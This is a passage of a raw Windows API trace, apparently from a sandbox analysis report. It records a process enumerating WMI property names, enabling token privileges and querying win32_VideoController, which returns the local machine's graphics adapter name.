[0150.895] free (_Block=0x15ca00) [0150.895] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.895] malloc (_Size=0x18) returned 0x15ca00 [0150.896] lstrlenW (lpString="SystemName") returned 10 [0150.896] lstrlenW (lpString="name") returned 4 [0150.896] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="SystemName", cchCount2=10) returned 1 [0150.896] free (_Block=0x15ca00) [0150.896] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.896] malloc (_Size=0x18) returned 0x15ca00 [0150.896] lstrlenW (lpString="SystemPaletteEntries") returned 20 [0150.896] lstrlenW (lpString="name") returned 4 [0150.896] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="SystemPaletteEntries", cchCount2=20) returned 1 [0150.896] free (_Block=0x15ca00) [0150.896] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.896] malloc (_Size=0x18) returned 0x15ca00 [0150.897] lstrlenW (lpString="TimeOfLastReset") returned 15 [0150.897] lstrlenW (lpString="name") returned 4 [0150.897] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="TimeOfLastReset", cchCount2=15) returned 1 [0150.897] free (_Block=0x15ca00) [0150.897] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.897] malloc (_Size=0x18) returned 0x15ca00 [0150.897] lstrlenW (lpString="VideoArchitecture") returned 17 [0150.897] lstrlenW (lpString="name") returned 4 [0150.897] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="VideoArchitecture", cchCount2=17) returned 1 [0150.897] free (_Block=0x15ca00) [0150.898] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.898] malloc (_Size=0x18) returned 0x15ca00 [0150.898] lstrlenW (lpString="VideoMemoryType") returned 15 [0150.898] lstrlenW (lpString="name") returned 4 [0150.898] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="VideoMemoryType", cchCount2=15) returned 1 [0150.898] free (_Block=0x15ca00) [0150.898] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.898] malloc (_Size=0x18) returned 0x15ca00 [0150.898] lstrlenW (lpString="VideoMode") returned 9 [0150.898] lstrlenW (lpString="name") returned 4 [0150.898] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="VideoMode", cchCount2=9) returned 1 [0150.899] free (_Block=0x15ca00) [0150.899] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.899] malloc (_Size=0x18) returned 0x15ca00 [0150.899] lstrlenW (lpString="VideoModeDescription") returned 20 [0150.899] lstrlenW (lpString="name") returned 4 [0150.899] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="VideoModeDescription", cchCount2=20) returned 1 [0150.899] free (_Block=0x15ca00) [0150.899] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.899] malloc (_Size=0x18) returned 0x15ca00 [0150.899] lstrlenW (lpString="VideoProcessor") returned 14 [0150.899] lstrlenW (lpString="name") returned 4 [0150.900] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="VideoProcessor", cchCount2=14) returned 1 [0150.900] free (_Block=0x15ca00) [0150.900] IUnknown:Release (This=0x49d290) returned 0x0 [0150.900] free (_Block=0x15cce0) [0150.900] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0150.900] malloc (_Size=0x70) returned 0x15cce0 [0150.900] malloc (_Size=0x70) returned 0x15cd60 [0150.900] malloc (_Size=0x48) returned 0x15cec0 [0150.900] malloc (_Size=0x8) returned 0x15cf10 [0150.901] lstrlenW (lpString="name") returned 4 [0150.901] lstrlenW (lpString="Name") returned 4 [0150.903] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="name", cchCount2=4) returned 2 [0150.903] SysStringLen (param_1="Name") returned 0x4 [0150.903] malloc (_Size=0xa) returned 0x15ca00 [0150.903] SysStringLen (param_1="Name") returned 0x4 [0150.903] malloc (_Size=0x8) returned 0x15cf30 [0150.903] free (_Block=0x15c900) [0150.903] lstrlenW (lpString="Name") returned 4 [0150.903] malloc (_Size=0xa) returned 0x15c900 [0150.903] lstrlenW (lpString="Name") returned 4 [0150.903] free (_Block=0x15ca00) [0150.904] free (_Block=0x15cf30) [0150.904] free (_Block=0x15cf10) [0150.904] free (_Block=0x15cec0) [0150.905] free (_Block=0x15cd60) [0150.906] free (_Block=0x15cce0) [0150.906] lstrlenW (lpString="SET") returned 3 [0150.906] lstrlenW (lpString="get") returned 3 [0150.906] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="SET", cchCount2=3) returned 1 [0150.906] lstrlenW (lpString="CREATE") returned 6 [0150.906] lstrlenW (lpString="get") returned 3 [0150.906] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="CREATE", cchCount2=6) returned 3 [0150.907] free (_Block=0x15cc90) [0150.907] malloc (_Size=0x8) returned 0x15cc90 [0150.907] lstrlenW (lpString="GET") returned 3 [0150.907] lstrlenW (lpString="get") returned 3 [0150.907] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="GET", cchCount2=3) returned 2 [0150.907] free (_Block=0x15c8e0) [0150.907] malloc (_Size=0x18) returned 0x15c8e0 [0150.907] free (_Block=0x15c8c0) [0150.907] malloc (_Size=0x18) returned 0x15c8c0 [0150.907] ??0CHString@@QEAA@XZ () returned 0x20f508 [0150.907] malloc (_Size=0x18) returned 0x15ca00 [0150.908] malloc (_Size=0x20) returned 0x15cce0 [0150.908] memcpy_s (in: _Destination=0x15cce0, _DestinationSize=0x1e, _Source=0x484cb8, _SourceSize=0x14 | out: _Destination=0x15cce0) returned 0x0 [0150.908] lstrlenW (lpString="&") returned 1 [0150.908] lstrlenW (lpString="&") returned 5 [0150.908] lstrlenW (lpString="<") returned 1 [0150.908] lstrlenW (lpString="<") returned 4 [0150.908] lstrlenW (lpString=">") returned 1 [0150.908] lstrlenW (lpString=">") returned 4 [0150.908] lstrlenW (lpString="'") returned 1 [0150.908] lstrlenW (lpString="'") returned 6 [0150.908] lstrlenW (lpString="\"") returned 1 [0150.908] lstrlenW (lpString=""") returned 6 [0150.908] malloc (_Size=0x18) returned 0x15ca20 [0150.909] free (_Block=0x15ca00) [0150.909] free (_Block=0x15cce0) [0150.909] ?Format@CHString@@QEAAXPEBGZZ () returned 0x15cecc [0150.910] malloc (_Size=0x18) returned 0x15ca00 [0150.910] malloc (_Size=0x18) returned 0x15ca40 [0150.910] SysStringLen (param_1="") returned 0x0 [0150.910] SysStringLen (param_1="") returned 0x1b [0150.910] memcpy (in: _Dst=0x466188, _Src=0x45f688, _Size=0x2 | out: _Dst=0x466188) returned 0x466188 [0150.910] memcpy (in: _Dst=0x466188, _Src=0x466138, _Size=0x38 | out: _Dst=0x466188) returned 0x466188 [0150.910] free (_Block=0x15c8c0) [0150.910] free (_Block=0x15ca00) [0150.910] free (_Block=0x15ca20) [0150.911] ??1CHString@@QEAA@XZ () returned 0x2690cf01 [0150.911] WbemLocator:IUnknown:AddRef (This=0x40cb90) returned 0x3 [0150.911] free (_Block=0x157fb0) [0150.911] lstrlenW (lpString="") returned 0 [0150.911] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0150.911] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Q9IATRKPRH", cchCount1=10, lpString2="", cchCount2=0) returned 3 [0150.911] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0150.911] malloc (_Size=0x16) returned 0x15ca20 [0150.911] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0150.911] GetCurrentThreadId () returned 0xfdc [0150.911] GetCurrentProcess () returned 0xffffffffffffffff [0150.911] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x20f380 | out: TokenHandle=0x20f380*=0x270) returned 1 [0150.911] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x20f378 | out: TokenInformation=0x0, ReturnLength=0x20f378) returned 0 [0150.911] malloc (_Size=0x118) returned 0x15cec0 [0150.912] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x3, TokenInformation=0x15cec0, TokenInformationLength=0x118, ReturnLength=0x20f378 | out: TokenInformation=0x15cec0, ReturnLength=0x20f378) returned 1 [0150.912] AdjustTokenPrivileges (in: TokenHandle=0x270, DisableAllPrivileges=0, NewState=0x15cec0*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-611267125, Attributes=0x79f9), (Luid.LowPart=0x0, Luid.HighPart=1428704, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0150.912] free (_Block=0x15cec0) [0150.912] CloseHandle (hObject=0x270) returned 1 [0150.913] lstrlenW (lpString="GET") returned 3 [0150.913] lstrlenW (lpString="get") returned 3 [0150.913] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="GET", cchCount2=3) returned 2 [0150.913] malloc (_Size=0x18) returned 0x15ca00 [0150.913] lstrlenA (lpString="") returned 0 [0150.913] malloc (_Size=0x2) returned 0x157fb0 [0150.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr="", cbMultiByte=-1, lpWideCharStr=0x157fb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0150.913] free (_Block=0x157fb0) [0150.913] malloc (_Size=0x18) returned 0x15c8c0 [0150.913] lstrlenA (lpString="") returned 0 [0150.913] malloc (_Size=0x2) returned 0x157fb0 [0150.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr="", cbMultiByte=-1, lpWideCharStr=0x157fb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0150.914] free (_Block=0x157fb0) [0150.914] malloc (_Size=0x18) returned 0x15ca60 [0150.914] lstrlenA (lpString="") returned 0 [0150.914] malloc (_Size=0x2) returned 0x157fb0 [0150.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr="", cbMultiByte=-1, lpWideCharStr=0x157fb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0150.914] free (_Block=0x157fb0) [0150.914] malloc (_Size=0x18) returned 0x15ca80 [0150.914] lstrlenA (lpString="") returned 0 [0150.914] malloc (_Size=0x2) returned 0x157fb0 [0150.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr="", cbMultiByte=-1, lpWideCharStr=0x157fb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0150.914] free (_Block=0x157fb0) [0150.914] malloc (_Size=0x18) returned 0x15caa0 [0150.915] malloc (_Size=0x18) returned 0x15cac0 [0150.915] SysStringLen (param_1="") returned 0x0 [0150.915] SysStringLen (param_1="Name") returned 0x4 [0150.915] memcpy (in: _Dst=0x491df8, _Src=0x484cb8, _Size=0x2 | out: _Dst=0x491df8) returned 0x491df8 [0150.915] memcpy (in: _Dst=0x491df8, _Src=0x491dc8, _Size=0xa | out: _Dst=0x491df8) returned 0x491df8 [0150.915] free (_Block=0x15ca00) [0150.915] free (_Block=0x15caa0) [0150.915] lstrlenW (lpString="__CLASS") returned 7 [0150.915] lstrlenW (lpString="Name") returned 4 [0150.915] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__CLASS", cchCount2=7) returned 3 [0150.915] lstrlenW (lpString="__DERIVATION") returned 12 [0150.916] lstrlenW (lpString="Name") returned 4 [0150.916] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__DERIVATION", cchCount2=12) returned 3 [0150.916] lstrlenW (lpString="__DYNASTY") returned 9 [0150.916] lstrlenW (lpString="Name") returned 4 [0150.916] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__DYNASTY", cchCount2=9) returned 3 [0150.916] lstrlenW (lpString="__GENUS") returned 7 [0150.916] lstrlenW (lpString="Name") returned 4 [0150.916] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__GENUS", cchCount2=7) returned 3 [0150.916] lstrlenW (lpString="__NAMESPACE") returned 11 [0150.916] lstrlenW (lpString="Name") returned 4 [0150.916] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__NAMESPACE", cchCount2=11) returned 3 [0150.916] lstrlenW (lpString="__PATH") returned 6 [0150.916] lstrlenW (lpString="Name") returned 4 [0150.916] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__PATH", cchCount2=6) returned 3 [0150.916] lstrlenW (lpString="__PROPERTYCOUNT") returned 15 [0150.916] lstrlenW (lpString="Name") returned 4 [0150.917] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__PROPERTYCOUNT", cchCount2=15) returned 3 [0150.917] lstrlenW (lpString="__RELPATH") returned 9 [0150.917] lstrlenW (lpString="Name") returned 4 [0150.917] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__RELPATH", cchCount2=9) returned 3 [0150.917] lstrlenW (lpString="__SERVER") returned 8 [0150.917] lstrlenW (lpString="Name") returned 4 [0150.917] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__SERVER", cchCount2=8) returned 3 [0150.917] lstrlenW (lpString="__SUPERCLASS") returned 12 [0150.917] lstrlenW (lpString="Name") returned 4 [0150.917] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="__SUPERCLASS", cchCount2=12) returned 3 [0150.917] malloc (_Size=0x18) returned 0x15caa0 [0150.917] malloc (_Size=0x18) returned 0x15ca00 [0150.917] lstrlenA (lpString=" FROM ") returned 6 [0150.917] malloc (_Size=0xe) returned 0x15cae0 [0150.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=" FROM ", cbMultiByte=-1, lpWideCharStr=0x15cae0, cchWideChar=7 | out: lpWideCharStr=" FROM ") returned 7 [0150.918] free (_Block=0x15cae0) [0150.918] malloc (_Size=0x18) returned 0x15cae0 [0150.918] malloc (_Size=0x18) returned 0x15cb00 [0150.918] SysStringLen (param_1="SELECT ") returned 0x7 [0150.918] SysStringLen (param_1="Name") returned 0x4 [0150.918] memcpy (in: _Dst=0x492098, _Src=0x491dc8, _Size=0x10 | out: _Dst=0x492098) returned 0x492098 [0150.918] memcpy (in: _Dst=0x4920a6, _Src=0x491df8, _Size=0xa | out: _Dst=0x4920a6) returned 0x4920a6 [0150.918] malloc (_Size=0x18) returned 0x15cb20 [0150.918] SysStringLen (param_1="SELECT Name") returned 0xb [0150.918] SysStringLen (param_1=" FROM ") returned 0x6 [0150.919] memcpy (in: _Dst=0x466228, _Src=0x492098, _Size=0x18 | out: _Dst=0x466228) returned 0x466228 [0150.919] memcpy (in: _Dst=0x46623e, _Src=0x484cb8, _Size=0xe | out: _Dst=0x46623e) returned 0x46623e [0150.919] malloc (_Size=0x18) returned 0x15cef0 [0150.919] SysStringLen (param_1="SELECT Name FROM ") returned 0x11 [0150.919] SysStringLen (param_1="win32_VideoController") returned 0x15 [0150.919] memcpy (in: _Dst=0x446dd8, _Src=0x466228, _Size=0x24 | out: _Dst=0x446dd8) returned 0x446dd8 [0150.919] memcpy (in: _Dst=0x446dfa, _Src=0x466138, _Size=0x2c | out: _Dst=0x446dfa) returned 0x446dfa [0150.919] free (_Block=0x15ca60) [0150.919] free (_Block=0x15cb20) [0150.920] free (_Block=0x15cb00) [0150.920] free (_Block=0x15cae0) [0150.920] free (_Block=0x15ca00) [0150.920] free (_Block=0x15caa0) [0150.920] ??0CHString@@QEAA@XZ () returned 0x20b230 [0150.920] GetCurrentThreadId () returned 0xfdc [0150.920] CoCreateInstance (in: rclsid=0xff1e73d0*(Data1=0x8d1c559d, Data2=0x84f0, Data3=0x4bb3, Data4=([0]=0xa7, [1]=0xd5, [2]=0x56, [3]=0xa7, [4]=0x43, [5]=0x5a, [6]=0x9b, [7]=0xa6)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff1e73e0*(Data1=0xbfbf883a, Data2=0xcad7, Data3=0x11d3, Data4=([0]=0xa1, [1]=0x1b, [2]=0x0, [3]=0x10, [4]=0x5a, [5]=0x1f, [6]=0x51, [7]=0x5a)), ppv=0xff2529c0 | out: ppv=0xff2529c0*=0x4895d0) returned 0x0 [0150.924] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0150.924] ??0CHString@@QEAA@XZ () returned 0x20b230 [0150.924] GetCurrentThreadId () returned 0xfdc [0150.924] malloc (_Size=0x18) returned 0x15caa0 [0150.924] malloc (_Size=0x18) returned 0x15ca00 [0150.924] malloc (_Size=0x18) returned 0x15cae0 [0150.924] malloc (_Size=0x18) returned 0x15cb00 [0150.924] malloc (_Size=0x18) returned 0x15cb20 [0150.924] SysStringLen (param_1="\\\\") returned 0x2 [0150.924] SysStringLen (param_1="Q9IATRKPRH") returned 0xa [0150.925] memcpy (in: _Dst=0x466228, _Src=0x484cb8, _Size=0x6 | out: _Dst=0x466228) returned 0x466228 [0150.925] memcpy (in: _Dst=0x46622c, _Src=0x491dc8, _Size=0x16 | out: _Dst=0x46622c) returned 0x46622c [0150.925] malloc (_Size=0x18) returned 0x15ca60 [0150.925] SysStringLen (param_1="\\\\Q9IATRKPRH") returned 0xc [0150.925] SysStringLen (param_1="\\") returned 0x1 [0150.925] memcpy (in: _Dst=0x466138, _Src=0x466228, _Size=0x1a | out: _Dst=0x466138) returned 0x466138 [0150.925] memcpy (in: _Dst=0x466150, _Src=0x492098, _Size=0x4 | out: _Dst=0x466150) returned 0x466150 [0150.925] malloc (_Size=0x18) returned 0x15cf10 [0150.925] SysStringLen (param_1="\\\\Q9IATRKPRH\\") returned 0xd [0150.925] SysStringLen (param_1="root\\cimv2") returned 0xa [0150.925] memcpy (in: _Dst=0x466278, _Src=0x466138, _Size=0x1c | out: _Dst=0x466278) returned 0x466278 [0150.925] memcpy (in: _Dst=0x466292, _Src=0x484c88, _Size=0x16 | out: _Dst=0x466292) returned 0x466292 [0150.925] free (_Block=0x15ca60) [0150.926] free (_Block=0x15cb20) [0150.926] free (_Block=0x15cb00) [0150.926] free (_Block=0x15cae0) [0150.926] free (_Block=0x15ca00) [0150.926] free (_Block=0x15caa0) [0150.926] malloc (_Size=0x18) returned 0x15caa0 [0150.926] malloc (_Size=0x18) returned 0x15ca00 [0150.926] malloc (_Size=0x18) returned 0x15cae0 [0150.926] WbemLocator:IWbemLocator:ConnectServer (in: This=0x40cb90, strNetworkResource="\\\\Q9IATRKPRH\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff2529d0 | out: ppNamespace=0xff2529d0*=0x4765e0) returned 0x0 [0150.938] free (_Block=0x15cae0) [0150.938] free (_Block=0x15ca00) [0150.939] free (_Block=0x15caa0) [0150.939] CoSetProxyBlanket (pProxy=0x4765e0, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0150.939] free (_Block=0x15cf10) [0150.939] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0150.939] ??0CHString@@QEAA@XZ () returned 0x20b140 [0150.940] GetCurrentThreadId () returned 0xfdc [0150.940] free (_Block=0x15ca80) [0150.940] malloc (_Size=0x18) returned 0x15ca80 [0150.940] ??0CHString@@QEAA@XZ () returned 0x20b0f0 [0150.940] GetCurrentThreadId () returned 0xfdc [0150.940] CoCreateInstanceEx (in: Clsid=0xff1e73b0*(Data1=0x674b6698, Data2=0xee92, Data3=0x11d0, Data4=([0]=0xad, [1]=0x71, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd8, [6]=0xfd, [7]=0xff)), punkOuter=0x0, dwClsCtx=0x1, pServerInfo=0x0, dwCount=0x1, pResults=0x20b0a0 | out: pResults=((pIID=0xff1e7380*(Data1=0x44aca674, Data2=0xe8fc, Data3=0x11d0, Data4=([0]=0xa0, [1]=0x7c, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pItf=0x488520, hr=0x0))) returned 0x0 [0150.943] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0150.943] malloc (_Size=0x18) returned 0x15caa0 [0150.943] IWbemServices:ExecQuery (in: This=0x4765e0, strQueryLanguage="WQL", strQuery="SELECT Name FROM win32_VideoController", lFlags=48, pCtx=0x0, ppEnum=0x20b150 | out: ppEnum=0x20b150*=0x492d60) returned 0x0 [0150.952] free (_Block=0x15caa0) [0150.952] malloc (_Size=0x18) returned 0x15caa0 [0150.952] WbemContext:IWbemContext:SetValue (This=0x488520, wszName="ExcludeSystemProperties", lFlags=0, pValue=0x20b1b0*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0)) returned 0x0 [0150.952] free (_Block=0x15caa0) [0150.953] CoSetProxyBlanket (pProxy=0x492d60, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0150.959] IEnumWbemClassObject:Next (in: This=0x492d60, lTimeout=-1, uCount=0x1, apObjects=0x20b158, puReturned=0x20b170 | out: apObjects=0x20b158*=0x4943d0, puReturned=0x20b170*=0x1) returned 0x0 [0150.976] WbemObjectTextSrc:IWbemObjectTextSrc:GetText (in: This=0x4895d0, lFlags=0, pObj=0x4943d0, uObjTextFormat=0x1, pCtx=0x488520, strText=0x20b160 | out: strText=0x20b160*="Intel(R) HD Graphics 610") returned 0x0 [0150.989] malloc (_Size=0x18) returned 0x15caa0 [0150.989] malloc (_Size=0x18) returned 0x15ca00 [0150.990] SysStringLen (param_1="") returned 0x5 [0150.990] SysStringLen (param_1="Intel(R) HD Graphics 610") returned 0x8d [0150.990] memcpy (in: _Dst=0x495a78, _Src=0x484cb8, _Size=0xc | out: _Dst=0x495a78) returned 0x495a78 [0150.990] memcpy (in: _Dst=0x495a82, _Src=0x495938, _Size=0x11c | out: _Dst=0x495a82) returned 0x495a82 [0150.990] free (_Block=0x15ca80) [0150.990] free (_Block=0x15caa0) [0150.990] IUnknown:Release (This=0x4943d0) returned 0x0 [0150.990] IEnumWbemClassObject:Next (in: This=0x492d60, lTimeout=-1, uCount=0x1, apObjects=0x20b158, puReturned=0x20b170 | out: apObjects=0x20b158*=0x0, puReturned=0x20b170*=0x0) returned 0x1 [0150.993] malloc (_Size=0x18) returned 0x15caa0 [0150.993] malloc (_Size=0x18) returned 0x15ca80 [0150.993] SysStringLen (param_1="Intel(R) HD Graphics 610") returned 0x92 [0150.993] SysStringLen (param_1="") returned 0x6 [0150.993] memcpy (in: _Dst=0x4943d8, _Src=0x495a78, _Size=0x126 | out: _Dst=0x4943d8) returned 0x4943d8 [0150.993] memcpy (in: _Dst=0x4944fc, _Src=0x491d68, _Size=0xe | out: _Dst=0x4944fc) returned 0x4944fc [0150.993] free (_Block=0x15ca00) [0150.994] free (_Block=0x15caa0) [0150.994] free (_Block=0x15ca80) [0150.994] malloc (_Size=0x18) returned 0x15ca80 [0150.995] IUnknown:Release (This=0x492d60) returned 0x0 [0150.997] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0150.997] free (_Block=0x15ca80) [0150.997] free (_Block=0x15cef0) [0150.997] free (_Block=0x15c8c0) [0150.997] free (_Block=0x15cac0) [0150.997] malloc (_Size=0x18) returned 0x15cac0 [0150.997] malloc (_Size=0x18) returned 0x15c8c0 [0150.997] SysStringLen (param_1="") returned 0x1b [0150.998] SysStringLen (param_1="Intel(R) HD Graphics 610") returned 0x98 [0150.998] memcpy (in: _Dst=0x48a718, _Src=0x466188, _Size=0x38 | out: _Dst=0x48a718) returned 0x48a718 [0150.998] memcpy (in: _Dst=0x48a74e, _Src=0x4943d8, _Size=0x132 | out: _Dst=0x48a74e) returned 0x48a74e [0150.998] free (_Block=0x15ca40) [0150.998] free (_Block=0x15cac0) [0150.998] malloc (_Size=0x18) returned 0x15cac0 [0150.998] malloc (_Size=0x18) returned 0x15ca40 [0150.998] SysStringLen (param_1="Intel(R) HD Graphics 610") returned 0xb3 [0150.998] SysStringLen (param_1="") returned 0xa [0150.998] memcpy (in: _Dst=0x494688, _Src=0x48a718, _Size=0x168 | out: _Dst=0x494688) returned 0x494688 [0150.999] memcpy (in: _Dst=0x4947ee, _Src=0x491d68, _Size=0x16 | out: _Dst=0x4947ee) returned 0x4947ee [0150.999] free (_Block=0x15c8c0) [0150.999] free (_Block=0x15cac0) [0150.999] ??0CHString@@QEAA@XZ () returned 0x20f3e0 [0150.999] malloc (_Size=0x18) returned 0x15cac0 [0150.999] malloc (_Size=0x20) returned 0x15cce0 [0150.999] memcpy_s (in: _Destination=0x15cce0, _DestinationSize=0x1e, _Source=0x491d68, _SourceSize=0x14 | out: _Destination=0x15cce0) returned 0x0 [0150.999] lstrlenW (lpString="&") returned 1 [0150.999] lstrlenW (lpString="&") returned 5 [0150.999] lstrlenW (lpString="<") returned 1 [0150.999] lstrlenW (lpString="<") returned 4 [0150.999] lstrlenW (lpString=">") returned 1 [0151.000] lstrlenW (lpString=">") returned 4 [0151.000] lstrlenW (lpString="'") returned 1 [0151.000] lstrlenW (lpString="'") returned 6 [0151.000] lstrlenW (lpString="\"") returned 1 [0151.000] lstrlenW (lpString=""") returned 6 [0151.000] malloc (_Size=0x18) returned 0x15c8c0 [0151.000] free (_Block=0x15cac0) [0151.001] free (_Block=0x15cce0) [0151.001] ?Format@CHString@@QEAAXPEBGZZ () returned 0x15d6cc [0151.001] malloc (_Size=0x18) returned 0x15cac0 [0151.001] free (_Block=0x15c8e0) [0151.002] free (_Block=0x15c8c0) [0151.002] ??1CHString@@QEAA@XZ () returned 0x2690cf01 [0151.002] ??0CHString@@QEAA@XZ () returned 0x20f3d8 [0151.002] malloc (_Size=0x18) returned 0x15c8c0 [0151.002] malloc (_Size=0x18) returned 0x15c8e0 [0151.002] malloc (_Size=0x50) returned 0x15cce0 [0151.002] memcpy_s (in: _Destination=0x15cce0, _DestinationSize=0x4e, _Source=0x414898, _SourceSize=0x48 | out: _Destination=0x15cce0) returned 0x0 [0151.002] lstrlenW (lpString="&") returned 1 [0151.002] lstrlenW (lpString="&") returned 5 [0151.002] lstrlenW (lpString="<") returned 1 [0151.002] lstrlenW (lpString="<") returned 4 [0151.002] lstrlenW (lpString=">") returned 1 [0151.003] lstrlenW (lpString=">") returned 4 [0151.003] lstrlenW (lpString="'") returned 1 [0151.003] lstrlenW (lpString="'") returned 6 [0151.003] lstrlenW (lpString="\"") returned 1 [0151.003] lstrlenW (lpString=""") returned 6 [0151.003] malloc (_Size=0x18) returned 0x15ca80 [0151.003] free (_Block=0x15c8e0) [0151.004] free (_Block=0x15cce0) [0151.004] ?Format@CHString@@QEAAXPEBGZZ () returned 0x15d6cc [0151.004] malloc 